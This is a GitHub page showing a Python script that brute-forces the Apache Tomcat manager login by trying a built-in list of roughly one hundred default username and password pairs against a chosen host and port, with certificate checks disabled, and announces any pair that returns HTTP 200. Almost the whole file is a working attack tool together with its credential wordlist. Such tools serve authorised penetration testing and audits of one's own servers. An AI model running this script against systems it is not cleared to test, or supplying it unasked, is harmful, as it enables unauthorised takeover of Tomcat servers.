-
Notifications
You must be signed in to change notification settings - Fork 167
/
apache-tomcat-login-bruteforce.py
executable file
·159 lines (141 loc) · 3.67 KB
/
apache-tomcat-login-bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
"""
@author: bl4de | bloorq@gmail.com
@licence: MIT | https://opensource.org/licenses/MIT
Apache Tomcat credentials bruteforce login
with Tomcat defualt username/password list.
So technically it's not bruteforcing :)
"""
import requests
import argparse
import urllib3
"""
default Apache Tomcat credentials
source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
"""
urllib3.disable_warnings()
credentials = [
'admin:',
'admin:admanager',
'admin:admin',
'admin:admin',
'ADMIN:ADMIN',
'admin:adrole1',
'admin:adroot',
'admin:ads3cret',
'admin:adtomcat',
'admin:advagrant',
'admin:password',
'admin:password1',
'admin:Password1',
'admin:tomcat',
'admin:vagrant',
'both:admanager',
'both:admin',
'both:adrole1',
'both:adroot',
'both:ads3cret',
'both:adtomcat',
'both:advagrant',
'both:tomcat',
'cxsdk:kdsxc',
'j2deployer:j2deployer',
'manager:admanager',
'manager:admin',
'manager:adrole1',
'manager:adroot',
'manager:ads3cret',
'manager:adtomcat',
'manager:advagrant',
'manager:manager',
'ovwebusr:OvW*busr1',
'QCC:QLogic66',
'role1:admanager',
'role1:admin',
'role1:adrole1',
'role1:adroot',
'role1:ads3cret',
'role1:adtomcat',
'role1:advagrant',
'role1:role1',
'role1:tomcat',
'role:changethis',
'root:admanager',
'root:admin',
'root:adrole1',
'root:adroot',
'root:ads3cret',
'root:adtomcat',
'root:advagrant',
'root:changethis',
'root:owaspbwa',
'root:password',
'root:password1',
'root:Password1',
'root:r00t',
'root:root',
'root:toor',
'tomcat:',
'tomcat:admanager',
'tomcat:admin',
'tomcat:admin',
'tomcat:adrole1',
'tomcat:adroot',
'tomcat:ads3cret',
'tomcat:adtomcat',
'tomcat:advagrant',
'tomcat:changethis',
'tomcat:password',
'tomcat:password1',
'tomcat:s3cret',
'tomcat:s3cret',
'tomcat:tomcat',
'xampp:xampp',
'server_admin:owaspbwa',
'admin:owaspbwa',
'demo:demo'
]
def brute(args):
"""
Iterate over login:password pairs from credentials array and send GET request to
Apache Tomcat with Authorization header set
If HTTP response status is equal 200, we found valid credentials
"""
url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager)
for lp in credentials:
(login, password) = lp.split(':')
print("[.] checking {}:{}..................................................\r".format(login, password), end="")
resp = requests.get(
url=url,
auth=(login, password),
verify=False
)
# 401 Unauthorized ?
if resp.status_code == 200:
return (login, password)
return (False, False)
def main():
"""
Main execution routine.
"""
parser = argparse.ArgumentParser()
parser.add_argument(
"-H", "--host", help="Apache Tomcat hostname")
parser.add_argument(
"-P", "--proto", help="Protocol: http or https", choices=['http', 'https'])
parser.add_argument(
"-m", "--manager", help="Path to Host Manager (default: /manager/html)", default="manager/html"
)
parser.add_argument(
"-p", "--port", type=int, default=8080, help="port (default - 8080)")
args = parser.parse_args()
(login, password) = brute(args)
if login != False:
print("[+] BOOM! Found valid credentials: {}:{}".format(login, password))
else:
print("[-] No valid credentials found :(")
exit(0)
"""
Run!
"""
main()